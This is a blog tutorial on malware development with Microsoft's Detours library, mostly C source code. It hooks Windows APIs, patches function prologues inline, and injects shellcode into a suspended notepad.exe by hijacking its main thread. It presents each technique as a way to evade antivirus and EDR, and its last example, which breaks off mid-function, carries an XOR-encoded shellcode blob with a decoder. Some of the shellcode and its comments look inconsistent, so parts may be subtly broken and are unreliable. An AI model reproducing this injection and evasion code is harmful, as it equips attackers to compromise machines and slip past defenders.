Malware Development with Detours Library

Posted Oct 23, 2024 Updated Oct 23, 2024

By Mohamed Alzhrani 24 min read

Introduction

API hooking is an essential technique in modern malware development, allowing attackers to intercept and manipulate system calls for malicious purposes. One of the most popular libraries for API hooking in Windows is Microsoft’s Detours Library. Detours enables developers (or attackers) to alter the behavior of system functions by injecting custom code, which is particularly valuable for malware such as keyloggers, process injection techniques, or API monitoring.

In this detailed guide, we’ll explore how to leverage Detours for malicious purposes, such as tampering with system calls and evading security software. We’ll also provide a full working example, along with several key strategies used in real-world malware.

Understanding Detours Hooking

Detours works by modifying the beginning of a target function (often known as the prologue) and inserting an unconditional jump (trampoline) to the custom handler function. This means that whenever the original function is called, the custom code will execute instead. This approach is often used in malware to hide activities from anti-virus software, modify parameters of system calls, or monitor sensitive API calls like NtOpenProcess.

How Detours Achieves Hooking

The following is the general procedure Detours uses for function hooking:

Patch the entry point of the target function to redirect the flow.
Save original instructions so they can be executed later (or bypassed).
Inject custom behavior by redirecting execution to the attacker’s function.

Let’s dive into the practical aspects of setting up Detours for API hooking.

Setting up the Detours Library

Download and compile the Detours repository from Microsoft’s official GitHub repository. Ensure you have both 32-bit and 64-bit binaries for compatibility across different architectures.
Include necessary headers in your project, such as detours.h and link the appropriate .lib files depending on the target architecture.

Here’s an example of how you can handle both 32-bit and 64-bit builds in your project using preprocessor directives:

  
#ifdef _M_X64
    #pragma comment(lib, "detours64.lib")
#else
    #pragma comment(lib, "detours32.lib")
#endif

Key Functions in Detours

Detours offers several essential API functions to manage hooks:

DetourTransactionBegin(): Starts a transaction to manage multiple hooks.
DetourUpdateThread(): Updates the transaction to include the current thread.
DetourAttach(): Attaches a hook to the specified function.
DetourDetach(): Detaches the hook, restoring the original function.
DetourTransactionCommit(): Commits the transaction, applying or undoing changes.

Full Example: Hooking `MessageBoxA`

Below is a complete example demonstrating how to hook the MessageBoxA function, which can be leveraged by malware to alter system messages or deceive users:

  
#include <windows.h>
#include <detours.h>
#include <stdio.h>

typedef int (WINAPI* MessageBoxA_t)(HWND, LPCSTR, LPCSTR, UINT);
MessageBoxA_t OriginalMessageBoxA = MessageBoxA;

int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
    // Modify the message displayed
    printf("Hooked! Original Text: %s
", lpText);
    lpText = "This is a malware-altered message!";
    
    // Call the original function
    return OriginalMessageBoxA(hWnd, lpText, lpCaption, uType);
}

BOOL InstallHook() {
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourAttach(&(PVOID&)OriginalMessageBoxA, HookedMessageBoxA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

BOOL UninstallHook() {
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourDetach(&(PVOID&)OriginalMessageBoxA, HookedMessageBoxA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

int main() {
    // Original MessageBoxA (before hooking)
    MessageBoxA(NULL, "Hello, world!", "Original", MB_OK);

    // Install the hook
    if (!InstallHook()) {
        printf("Failed to install hook!
");
        return -1;
    }

    // This will trigger the hooked MessageBoxA
    MessageBoxA(NULL, "This should be hooked!", "Hooked", MB_OK);

    // Uninstall the hook
    if (!UninstallHook()) {
        printf("Failed to uninstall hook!
");
        return -1;
    }

    // Back to original MessageBoxA (after unhooking)
    MessageBoxA(NULL, "Back to normal.", "Original", MB_OK);

    return 0;
}

Explanation of Code

We define a typedef for the original MessageBoxA function and store a pointer to it in OriginalMessageBoxA.
The HookedMessageBoxA function changes the message that is displayed when MessageBoxA is called.
The hook is installed using the DetourAttach() function, and once our custom function executes, it calls the original MessageBoxA to avoid breaking functionality.

Avoiding Infinite Loops

A common pitfall in hooking is accidentally creating an infinite loop when the hooked function calls itself. In our example, we avoid this by calling the OriginalMessageBoxA instead of MessageBoxA within the hook function. However, an alternative method is to hook a function with similar behavior, such as MessageBoxW:

  
int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
    // Call a different API to avoid recursion
    return MessageBoxW(hWnd, L"Altered text", L"Altered caption", uType);
}

Advanced Hooking Techniques

To enhance the malware’s stealthiness, attackers often use these advanced techniques:

Dynamic API Resolution: Instead of hardcoding function addresses, use GetProcAddress to dynamically resolve them at runtime. This makes the malware more portable.
Multiple Function Hooks: Use Detours transactions to hook multiple API functions simultaneously. For instance, you can hook both VirtualAlloc and VirtualFree to monitor memory allocation by security tools.
Inline Patching: Instead of using Detours’ trampoline approach, some malware may manually patch the entry point of the target function with their custom code for maximum control.

1. Dynamic API Resolution with Detours

Instead of hardcoding the address of a function like MessageBoxA, malware can dynamically resolve the function’s address at runtime using GetProcAddress. This makes the malware adaptable across different Windows versions, service packs, and updates.

Example with Detours:

  
#include <windows.h>
#include <detours.h>
#include <stdio.h>

typedef int (WINAPI* MessageBoxA_t)(HWND, LPCSTR, LPCSTR, UINT);
MessageBoxA_t pMessageBoxA = NULL;

int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
    printf("Dynamically Hooked! Original Text: %s\n", lpText);
    lpText = "This message was altered dynamically!";
    return pMessageBoxA(hWnd, lpText, lpCaption, uType);
}

BOOL InstallHook() {
    HMODULE hUser32 = LoadLibraryA("user32.dll");
    pMessageBoxA = (MessageBoxA_t)GetProcAddress(hUser32, "MessageBoxA");
    
    if (!pMessageBoxA) {
        printf("Failed to resolve MessageBoxA dynamically.\n");
        return FALSE;
    }

    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourAttach(&(PVOID&)pMessageBoxA, HookedMessageBoxA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

BOOL UninstallHook() {
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourDetach(&(PVOID&)pMessageBoxA, HookedMessageBoxA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

int main() {
    InstallHook();
    MessageBoxA(NULL, "Hello, world!", "Original Message", MB_OK);
    UninstallHook();
    MessageBoxA(NULL, "Back to normal.", "Original Message", MB_OK);
    return 0;
}

Why this is beneficial for malware development:

Portability: The malware becomes more adaptable to various Windows versions.
Evasion: By resolving API functions dynamically, the malware avoids signature-based detection methods that rely on hardcoded addresses.

2. Multiple Function Hooks with Detours

In a malware scenario, hooking multiple APIs at once can provide better control and monitoring of system behaviors. For example, hooking both VirtualAlloc and VirtualFree gives control over memory allocation and deallocation processes, useful for tracking or manipulating memory used by security software.

Example with Detours:

  
#include <windows.h>
#include <detours.h>
#include <stdio.h>

typedef LPVOID (WINAPI* VirtualAlloc_t)(LPVOID, SIZE_T, DWORD, DWORD);
VirtualAlloc_t OriginalVirtualAlloc = VirtualAlloc;

typedef BOOL (WINAPI* VirtualFree_t)(LPVOID, SIZE_T, DWORD);
VirtualFree_t OriginalVirtualFree = VirtualFree;

LPVOID WINAPI HookedVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
    printf("Hooked VirtualAlloc: Allocating %llu bytes\n", dwSize);
    return OriginalVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}

BOOL WINAPI HookedVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) {
    printf("Hooked VirtualFree: Freeing memory\n");
    return OriginalVirtualFree(lpAddress, dwSize, dwFreeType);
}

BOOL InstallMemoryHooks() {
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourAttach(&(PVOID&)OriginalVirtualAlloc, HookedVirtualAlloc) != NO_ERROR) return FALSE;
    if (DetourAttach(&(PVOID&)OriginalVirtualFree, HookedVirtualFree) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

BOOL UninstallMemoryHooks() {
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourDetach(&(PVOID&)OriginalVirtualAlloc, HookedVirtualAlloc) != NO_ERROR) return FALSE;
    if (DetourDetach(&(PVOID&)OriginalVirtualFree, HookedVirtualFree) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

int main() {
    InstallMemoryHooks();
    VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
    VirtualFree(NULL, 0, MEM_RELEASE);
    UninstallMemoryHooks();
    return 0;
}

Why this is beneficial for malware development:

Comprehensive Monitoring: Hooking multiple related APIs (e.g., memory-related functions) allows attackers to control key aspects of system behavior.
Efficiency: Using Detours transactions, malware can apply multiple hooks in one go, simplifying the process and minimizing the risk of failure.

3. Inline Patching with Detours

Although Detours typically uses trampolines, it is possible to patch function entry points directly. Inline patching gives full control over the target function’s behavior. This method is often harder to detect as it doesn’t rely on additional libraries.

Example with Detours for Inline Patching:

  
#include <windows.h>
#include <detours.h>
#include <stdio.h>

typedef int (WINAPI* MessageBoxA_t)(HWND, LPCSTR, LPCSTR, UINT);
MessageBoxA_t OriginalMessageBoxA = MessageBoxA;

void PatchFunction(void* targetFunction, void* newFunction) {
    DWORD oldProtect;
    VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
    
    *(BYTE*)targetFunction = 0xE9;  // JMP opcode
    *(DWORD*)((BYTE*)targetFunction + 1) = (DWORD)newFunction - (DWORD)targetFunction - 5;

    VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
}

int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
    printf("Inline patched! Original Text: %s\n", lpText);
    return OriginalMessageBoxA(hWnd, "Inline patch altered this text", lpCaption, uType);
}

int main() {
    PatchFunction((void*)MessageBoxA, HookedMessageBoxA);
    MessageBoxA(NULL, "Hello, world!", "Original Message", MB_OK);
    return 0;
}

Why this is beneficial for malware development:

Stealth: Inline patching doesn’t rely on external libraries, making it harder for antivirus and monitoring tools to detect.
Full Control: By manually patching the function’s entry point, attackers gain complete control over the function’s execution without relying on Detours’ built-in mechanisms.

Real-World Sample: Shellcode Injection with Detours

Shellcode injection is a common technique used in malware to execute arbitrary code within the address space of a target process. Using Detours, we can hook specific functions, such as CreateProcessA, to intercept process creation and inject shellcode into the new process. By avoiding suspicious API calls, like CreateRemoteThread, we can make the injection more stealthy, reducing the chances of detection by EDR and AV systems.

In this example, we hijack the main thread of the newly created process instead of spawning a new thread, which is often flagged by security solutions. This method involves injecting shellcode to run calc.exe after hooking CreateProcessA.

Steps:

Hooking API Functions: We hook CreateProcessA to intercept the creation of a new process. After the process is created, we use VirtualAllocEx and WriteProcessMemory to allocate memory and inject our shellcode into the target process.
Injecting Shellcode: Instead of using CreateRemoteThread, which is a known red flag for security solutions, we modify the thread context of the main thread in the target process to point to our shellcode.
Executing the Shellcode: The shellcode is a simple payload that launches calc.exe.
Restoring Original Functionality: After injection, the thread is resumed to execute the shellcode, and the original CreateProcessA function is restored. Example Code for Shellcode Injection

In this example, we hook CreateProcessA, allocate memory in the target process, inject the shellcode, and hijack the thread to run the injected shellcode.

  
#include <windows.h>
#include <detours.h>
#include <stdio.h>

// Simple calc.exe shellcode
unsigned char calcPayload[] =
    "\x31\xd2"                          // xor edx, edx
    "\x52"                              // push edx
    "\x68\x63\x61\x6c\x63"              // push 'calc'
    "\x89\xe6"                          // mov esi, esp
    "\x52"                              // push edx
    "\x56"                              // push esi
    "\x64\x8b\x72\x30"                  // mov esi, fs:[edx + 30h]
    "\x8b\x76\x0c"                      // mov esi, [esi + 0Ch]
    "\x8b\x76\x1c"                      // mov esi, [esi + 1Ch]
    "\x8b\x6e\x08"                      // mov ebp, [esi + 8]
    "\x89\xf1"                          // mov ecx, esi
    "\x56"                              // push esi
    "\x56"                              // push esi
    "\x51"                              // push ecx
    "\xff\xd5";                         // call [ebp + 24h] // Start the process calc.exe

typedef BOOL(WINAPI* CreateProcessA_t)(
    LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,
    BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
CreateProcessA_t OriginalCreateProcessA = CreateProcessA;

BOOL WINAPI HookedCreateProcessA(
    LPCSTR lpApplicationName,
    LPSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCSTR lpCurrentDirectory,
    LPSTARTUPINFOA lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation)
{
    // Call the original CreateProcessA to create the process normally
    BOOL result = OriginalCreateProcessA(lpApplicationName, lpCommandLine, lpProcessAttributes,
                                         lpThreadAttributes, bInheritHandles, dwCreationFlags,
                                         lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);

    if (result)
    {
        printf("Process created. Injecting calc.exe payload...\n");

        // Allocate memory in the target process for the payload
        LPVOID remoteMemory = VirtualAllocEx(lpProcessInformation->hProcess, NULL, sizeof(calcPayload),
                                             MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (remoteMemory)
        {
            // Write the payload (calc.exe shellcode) into the remote process
            WriteProcessMemory(lpProcessInformation->hProcess, remoteMemory, calcPayload, sizeof(calcPayload), NULL);

            // Hijack the main thread to avoid detection (instead of CreateRemoteThread)
            CONTEXT context;
            context.ContextFlags = CONTEXT_CONTROL;
            GetThreadContext(lpProcessInformation->hThread, &context);

            // Set the instruction pointer (EIP/RIP) to the shellcode in the target process
#ifdef _WIN64
            context.Rip = (DWORD64)remoteMemory;
#else
            context.Eip = (DWORD)remoteMemory;
#endif

            // Apply the modified thread context and resume the thread to execute the shellcode
            SetThreadContext(lpProcessInformation->hThread, &context);
            ResumeThread(lpProcessInformation->hThread);

            printf("Shellcode injected and main thread hijacked to execute calc.exe.\n");
        }
        else
        {
            printf("Failed to allocate memory in remote process.\n");
        }
    }
    return result;
}

BOOL InstallCreateProcessHook()
{
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourAttach(&(PVOID&)OriginalCreateProcessA, HookedCreateProcessA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

BOOL UninstallCreateProcessHook()
{
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourDetach(&(PVOID&)OriginalCreateProcessA, HookedCreateProcessA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

int main()
{
    InstallCreateProcessHook();

    // Create a process to inject into (could be any benign process, such as notepad)
    STARTUPINFOA si = { sizeof(STARTUPINFOA) };
    PROCESS_INFORMATION pi;
    CreateProcessA(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    UninstallCreateProcessHook();

    return 0;
}

This shellcode injection example demonstrates how to use Detours to hook CreateProcessA and perform a stealthy shellcode injection. By hijacking the main thread and avoiding suspicious API calls like CreateRemoteThread, this method reduces the chances of detection by traditional antivirus or endpoint detection and response (EDR) systems.

Explanation of the Shellcode Injection Code with Detours

This code demonstrates how to use Detours to hook the CreateProcessA function, inject shellcode into a newly created process, and hijack the main thread to execute the shellcode. The shellcode itself launches calc.exe. The injection is performed in a stealthy manner, aiming to evade detection by avoiding suspicious API calls like CreateRemoteThread.

1. Shellcode to Launch `calc.exe`

The shellcode is responsible for launching calc.exe. It will be injected into the target process’s memory, and we hijack the main thread to execute this shellcode.

  
unsigned char calcPayload[] =
    "\x31\xd2"                          // xor edx, edx
    "\x52"                              // push edx
    "\x68\x63\x61\x6c\x63"              // push 'calc'
    "\x89\xe6"                          // mov esi, esp
    "\x52"                              // push edx
    "\x56"                              // push esi
    "\x64\x8b\x72\x30"                  // mov esi, fs:[edx + 30h]
    "\x8b\x76\x0c"                      // mov esi, [esi + 0Ch]
    "\x8b\x76\x1c"                      // mov esi, [esi + 1Ch]
    "\x8b\x6e\x08"                      // mov ebp, [esi + 8]
    "\x89\xf1"                          // mov ecx, esi
    "\x56"                              // push esi
    "\x56"                              // push esi
    "\x51"                              // push ecx
    "\xff\xd5";                         // call [ebp + 24h] // Start the process calc.exe

2. Hooking `CreateProcessA`

We declare a typedef for the CreateProcessA function signature and store the original CreateProcessA function in OriginalCreateProcessA. This allows us to call the original CreateProcessA after hooking it.

  
typedef BOOL(WINAPI* CreateProcessA_t)(
    LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,
    BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
CreateProcessA_t OriginalCreateProcessA = CreateProcessA;

3. The Hooked `CreateProcessA` Function

This function hooks CreateProcessA. After the process is created, it injects shellcode into the target process’s memory and modifies the main thread’s context to point to the shellcode.

  
BOOL WINAPI HookedCreateProcessA(
    LPCSTR lpApplicationName,
    LPSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCSTR lpCurrentDirectory,
    LPSTARTUPINFOA lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation)
{
    // Call the original CreateProcessA
    BOOL result = OriginalCreateProcessA(lpApplicationName, lpCommandLine, lpProcessAttributes,
                                         lpThreadAttributes, bInheritHandles, dwCreationFlags,
                                         lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);

4. Memory Allocation and Shellcode Injection

If the process is successfully created, the code allocates memory in the target process’s address space using VirtualAllocEx. It then writes the calc.exe shellcode to the allocated memory using WriteProcessMemory.

  
    if (result)
    {
        printf("Process created. Injecting calc.exe payload...
");

        // Allocate memory in the target process for the shellcode
        LPVOID remoteMemory = VirtualAllocEx(lpProcessInformation->hProcess, NULL, sizeof(calcPayload),
                                             MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (remoteMemory)
        {
            // Write the payload (calc.exe shellcode) into the remote process
            WriteProcessMemory(lpProcessInformation->hProcess, remoteMemory, calcPayload, sizeof(calcPayload), NULL);

5. Thread Hijacking to Execute the Shellcode

Instead of using CreateRemoteThread (which is often monitored by EDR/AV), we hijack the main thread of the target process by modifying its context with SetThreadContext. Specifically, we set the instruction pointer (EIP for 32-bit or RIP for 64-bit) to point to the shellcode we just injected. We then resume the thread using ResumeThread, allowing the injected shellcode to execute.

  
            // Hijack the main thread to avoid detection (instead of CreateRemoteThread)
            CONTEXT context;
            context.ContextFlags = CONTEXT_CONTROL;
            GetThreadContext(lpProcessInformation->hThread, &context);

            // Set the instruction pointer (EIP/RIP) to the shellcode in the target process
#ifdef _WIN64
            context.Rip = (DWORD64)remoteMemory;
#else
            context.Eip = (DWORD)remoteMemory;
#endif

            // Apply the modified thread context and resume the thread to execute the shellcode
            SetThreadContext(lpProcessInformation->hThread, &context);
            ResumeThread(lpProcessInformation->hThread);

            printf("Shellcode injected and main thread hijacked to execute calc.exe.
");
        }
        else
        {
            printf("Failed to allocate memory in remote process.
");
        }
    }
    return result;
}

6. Installing the Hook for `CreateProcessA`

This function installs the hook for CreateProcessA. We begin a Detours transaction, update the current thread, and attach the hook using DetourAttach. The hook is applied after calling DetourTransactionCommit.

  
BOOL InstallCreateProcessHook()
{
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourAttach(&(PVOID&)OriginalCreateProcessA, HookedCreateProcessA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

7. Uninstalling the Hook for `CreateProcessA`

This function removes the hook for CreateProcessA by detaching it with DetourDetach and committing the transaction.

  
BOOL UninstallCreateProcessHook()
{
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourDetach(&(PVOID&)OriginalCreateProcessA, HookedCreateProcessA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

8. Main Function

In the main function, we first install the hook for CreateProcessA. Then, we create a benign process (in this case, notepad.exe) in a suspended state using the CREATE_SUSPENDED flag. This allows us to inject the shellcode and modify the thread context before the process starts running. Once the injection is complete, we wait for the process to finish, close the handles, and uninstall the hook.

  
int main()
{
    InstallCreateProcessHook();

    STARTUPINFOA si = { sizeof(STARTUPINFOA) };
    PROCESS_INFORMATION pi;
    CreateProcessA(NULL, "C:\Windows\System32\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    UninstallCreateProcessHook();

    return 0;
}

Key Anti-Detection Techniques

Thread Hijacking: Instead of creating a new thread via CreateRemoteThread (which is often monitored), we hijack the main thread of the target process. This method is stealthier and less likely to trigger alarms from EDR/AV solutions.
Suspended Process Creation: By creating the target process in a suspended state (CREATE_SUSPENDED), we can safely inject the shellcode and modify the thread context before execution starts.
Detours for Hooking: Detours allows us to hook the CreateProcessA function, intercept process creation, and inject shellcode in a stealthy way, while still preserving the original behavior of CreateProcessA.

More Advanced example

  
#include <windows.h>
#include <detours.h>
#include <stdio.h>

// Function typedefs for dynamic API resolution
typedef LPVOID(WINAPI* VirtualAllocEx_t)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI* WriteProcessMemory_t)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef BOOL(WINAPI* SetThreadContext_t)(HANDLE, const CONTEXT*);
typedef BOOL(WINAPI* GetThreadContext_t)(HANDLE, LPCONTEXT);
typedef DWORD(WINAPI* ResumeThread_t)(HANDLE);

// Encoded shellcode (replace with your actual encoded shellcode)
unsigned char encoded_shellcode[] =
"\xb2\x17\x49\x72\xd2\x12\x53\x55\x55\x55\x5f\xdf\x5f\xd7\xc7\xdf"
"\xe7\x17\xdc\xc3\x7e\x17\x09\xc7\x56\x17\x09\xc7\x95\x17\x09\xc7"
"\x54\x17\x09\xc6\xd7\x17\x2d\xe8\x07\x07\x3f\xdc\x1b\x17\xdc\x53"
"\x30\xb4\x5e\xb6\x45\x34\x54\x5f\x5b\x1b\x3d\x5f\x5d\x5b\x42\x3a"
"\xc7\x5f\xdf\x17\x09\xc7\x54\x09\x47\xb4\x17\x5d\xd3\x09\x51\x11"
"\x55\x55\x55\x17\x79\x53\xf6\x6e\x17\x5d\xd3\xd7\x09\x17\x95\x77"
"\x09\x57\x54\x1f\x5d\xd3\x4a\xe7\x17\xaa\x1b\x5f\x09\xf4\x11\x17"
"\x5d\xe3\x3f\xdc\x1b\x17\xdc\x53\x30\x5f\x5b\x1b\x3d\x5f\x5d\x5b"
"\x94\x52\xfe\xda\x37\x4d\x37\x74\x15\x7f\x9c\xdb\xfe\x93\x97\x77"
"\x09\x57\x74\x1f\x5d\xd3\x66\x5f\x09\x35\x17\x77\x09\x57\xb5\x1f"
"\x5d\xd3\x5f\x09\x75\x11\x17\x5d\xd3\x5f\x97\x5f\x97\xa7\x9f\x87"
"\x5f\x97\x5f\x9f\x5f\x87\x17\x49\x32\x54\x5f\xc7\xaa\x52\x97\x5f"
"\x9f\x87\x17\x09\xc5\x1a\xef\xaa\xaa\xaa\xbf\x17\x80\x5d\x55\x55"
"\x55\x55\x55\x55\x55\x17\x39\x39\x5d\x5d\x55\x55\x5f\x80\xdc\x09"
"\x2e\x69\xaa\xfb\x88\xd2\xf8\x40\xe7\x5f\x80\x60\xf9\xb8\xb9\xaa"
"\xfb\x17\x49\x73\x14\xb4\x65\xb6\x05\x51\x8a\x52\xfe\x7d\x88\x6f"
"\xcd\xc6\x2e\x06\x55\x9f\x5f\x19\x83\xaa\xfb\x4e\x5e\x36\x4e\x24"
"\x7e\x96\x7e\x55";

size_t payload_size = sizeof(encoded_shellcode) - 1;  // Size of the encoded shellcode without null-terminator
unsigned char xor_key = 0xAA;  // XOR key for encoding/decoding

// Rotate right by 3 for decoding (reverse of encoding rotation)
unsigned char rotr8(unsigned char value, unsigned int shift) {
    return (value >> shift) | (value << (8 - shift));
}

// Decoding function for the encoded shellcode
void decode_shellcode(unsigned char* shellcode, size_t length, unsigned char key) {
    for (size_t i = 0; i < length; i++) {
        shellcode[i] = rotr8(shellcode[i], 3);  // First reverse the rotation
        shellcode[i] ^= key;  // Then XOR with the same key
    }
}

// Function typedef for CreateProcessA
typedef BOOL(WINAPI* CreateProcessA_t)(
    LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,
    BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
CreateProcessA_t OriginalCreateProcessA = CreateProcessA;

BOOL WINAPI HookedCreateProcessA(
    LPCSTR lpApplicationName,
    LPSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCSTR lpCurrentDirectory,
    LPSTARTUPINFOA lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation)
{
    printf("Original CreateProcessA called. Injecting shellcode...\n");

    HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
    VirtualAllocEx_t pVirtualAllocEx = (VirtualAllocEx_t)GetProcAddress(hKernel32, "VirtualAllocEx");
    WriteProcessMemory_t pWriteProcessMemory = (WriteProcessMemory_t)GetProcAddress(hKernel32, "WriteProcessMemory");
    SetThreadContext_t pSetThreadContext = (SetThreadContext_t)GetProcAddress(hKernel32, "SetThreadContext");
    GetThreadContext_t pGetThreadContext = (GetThreadContext_t)GetProcAddress(hKernel32, "GetThreadContext");
    ResumeThread_t pResumeThread = (ResumeThread_t)GetProcAddress(hKernel32, "ResumeThread");

    BOOL result = OriginalCreateProcessA(lpApplicationName, lpCommandLine, lpProcessAttributes,
        lpThreadAttributes, bInheritHandles, dwCreationFlags,
        lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);

    if (!result) {
        printf("CreateProcessA failed. Error: %d\n", GetLastError());
        return result;
    }

    printf("Process created successfully. Allocating memory in target process...\n");

    // Allocate memory in the target process
    LPVOID remoteMemory = pVirtualAllocEx(lpProcessInformation->hProcess, NULL, payload_size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (remoteMemory == NULL) {
        printf("Memory allocation failed in the target process. Error: %d\n", GetLastError());
        return result;
    }
    printf("Memory allocated successfully at %p. Decoding shellcode...\n", remoteMemory);

    // Decode the XOR encoded shellcode
    decode_shellcode(encoded_shellcode, payload_size, xor_key);

    printf("Shellcode decoded. Writing to remote process memory...\n");

    // Write the decoded shellcode to the target process
    if (!pWriteProcessMemory(lpProcessInformation->hProcess, remoteMemory, encoded_shellcode, payload_size, NULL)) {
        printf("Failed to write shellcode to the remote process. Error: %d\n", GetLastError());
        return result;
    }
    printf("Shellcode successfully written to the target process.\n");

    CONTEXT context;
    context.ContextFlags = CONTEXT_CONTROL;

    // Get the context of the target thread
    if (!pGetThreadContext(lpProcessInformation->hThread, &context)) {
        printf("Failed to get thread context. Error: %d\n", GetLastError());
        return result;
    }

    // Set the instruction pointer (RIP/EIP) to the address of the shellcode
#ifdef _WIN64
    context.Rip = (DWORD64)remoteMemory;  // Set RIP to the shellcode address for 64-bit systems
#else
    context.Eip = (DWORD)remoteMemory;    // Set EIP for 32-bit systems
#endif

    // Set the modified thread context back to the target thread
    if (!pSetThreadContext(lpProcessInformation->hThread, &context)) {
        printf("Failed to set thread context. Error: %d\n", GetLastError());
        return result;
    }
    printf("Thread context set. Resuming thread...\n");

    // Resume the target thread to execute the shellcode
    if (pResumeThread(lpProcessInformation->hThread) == -1) {
        printf("Failed to resume the thread. Error: %d\n", GetLastError());
    }
    else {
        printf("Thread resumed. Shellcode should be executing now.\n");
    }

    return result;
}

BOOL InstallCreateProcessHook()
{
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourAttach((PVOID*)&OriginalCreateProcessA, HookedCreateProcessA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

BOOL UninstallCreateProcessHook()
{
    if (DetourTransactionBegin() != NO_ERROR) return FALSE;
    if (DetourUpdateThread(GetCurrentThread()) != NO_ERROR) return FALSE;
    if (DetourDetach((PVOID*)&OriginalCreateProcessA, HookedCreateProcessA) != NO_ERROR) return FALSE;
    return DetourTransactionCommit() == NO_ERROR;
}

int main()
{
    if (!InstallCreateProcessHook())
    {
        printf("Failed to install CreateProcess hook.\n");
        return -1;
    }

